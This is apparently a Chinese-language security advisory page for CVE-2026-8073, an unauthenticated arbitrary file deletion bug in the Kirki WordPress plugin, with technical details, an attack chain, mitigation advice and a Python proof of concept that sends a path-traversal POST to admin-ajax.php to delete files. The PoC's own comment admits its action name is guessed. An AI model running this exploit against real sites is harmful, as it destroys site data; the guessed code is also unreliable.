IPBUF安全漏洞报告
English
CVE-2026-8073 CVSS 7.5 高危

CVE-2026-8073: Kirki插件任意文件删除漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-8073
漏洞类型
任意文件删除
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Kirki WordPress Plugin

相关标签

WordPressKirki任意文件删除路径遍历未授权访问CVE-2026-8073

漏洞概述

WordPress插件Kirki在所有6.0.6及以下版本中被披露存在高危漏洞。该漏洞的核心在于插件'downloadZIP'函数中未对用户提交的文件路径进行严格验证,且完全缺失权限检查机制。这使得未经身份验证的远程攻击者无需登录即可利用该漏洞。攻击者可以构造特定的恶意请求,读取甚至删除WordPress上传基础目录下的任意文件,造成敏感数据泄露或网站资源丢失。

技术细节

该漏洞的技术根源在于Kirki插件`includes/API.php`文件中的`downloadZIP`函数实现不当。开发者在编写此功能时,未能对用户通过HTTP请求提交的路径参数进行严格的输入验证,特别是缺乏对路径遍历字符(如`../`)的过滤。此外,该函数在执行敏感的文件操作前,未调用WordPress标准的权限检查函数(如`current_user_can`)来验证用户身份。因此,攻击者可以发送特制的POST请求至`/wp-admin/admin-ajax.php`,触发该漏洞函数。利用过程中,攻击者通过路径遍历技术将操作目标定位至WordPress上传目录内的任意文件。攻击者成功利用后,不仅可以读取敏感文件内容,还能直接删除文件,导致网站内容丢失或服务中断。

攻击链分析

STEP 1
侦察
攻击者识别目标网站使用的是WordPress,并检测到安装了Kirki插件,且版本在6.0.6及以下。
STEP 2
武器化
攻击者构造一个包含恶意路径遍历序列(如'../')的HTTP POST请求,目标文件指向WordPress上传目录下的关键文件。
STEP 3
交付
攻击者向`/wp-admin/admin-ajax.php`发送特制的POST请求,调用存在漏洞的`downloadZIP`函数,无需任何身份认证。
STEP 4
利用
服务器端接收到请求后,由于缺乏路径验证和权限检查,直接执行文件删除操作。
STEP 5
影响
目标文件被从服务器上永久删除,可能导致网站前端图片丢失、数据备份被删或其他功能异常。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Kirki WordPress Plugin < 6.0.6 - Unauthenticated Arbitrary File Deletion # CVE: CVE-2026-8073 def exploit(url, file_to_delete): target_url = f"{url}/wp-admin/admin-ajax.php" # The vulnerable action is often defined in the plugin, assuming 'kirki_download_zip' based on description data = { 'action': 'kirki_download_zip', 'file': f"../../uploads/{file_to_delete}" # Path traversal to delete file in uploads } try: response = requests.post(target_url, data=data) if response.status_code == 200: print(f"[+] Request sent successfully to {target_url}") print(f"[+] Attempted to delete: {file_to_delete}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target_site = "http://example.com" target_file = "sensitive_image.jpg" exploit(target_site, target_file)

影响范围

Kirki <= 6.0.6

防御指南

临时缓解措施
如果无法立即升级插件,建议通过Web服务器配置(如.htaccess或Nginx配置)临时阻断对`/wp-admin/admin-ajax.php`中与Kirki相关动作的未授权访问,或者禁用Kirki插件直至应用补丁。同时,应备份网站数据以防数据丢失。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表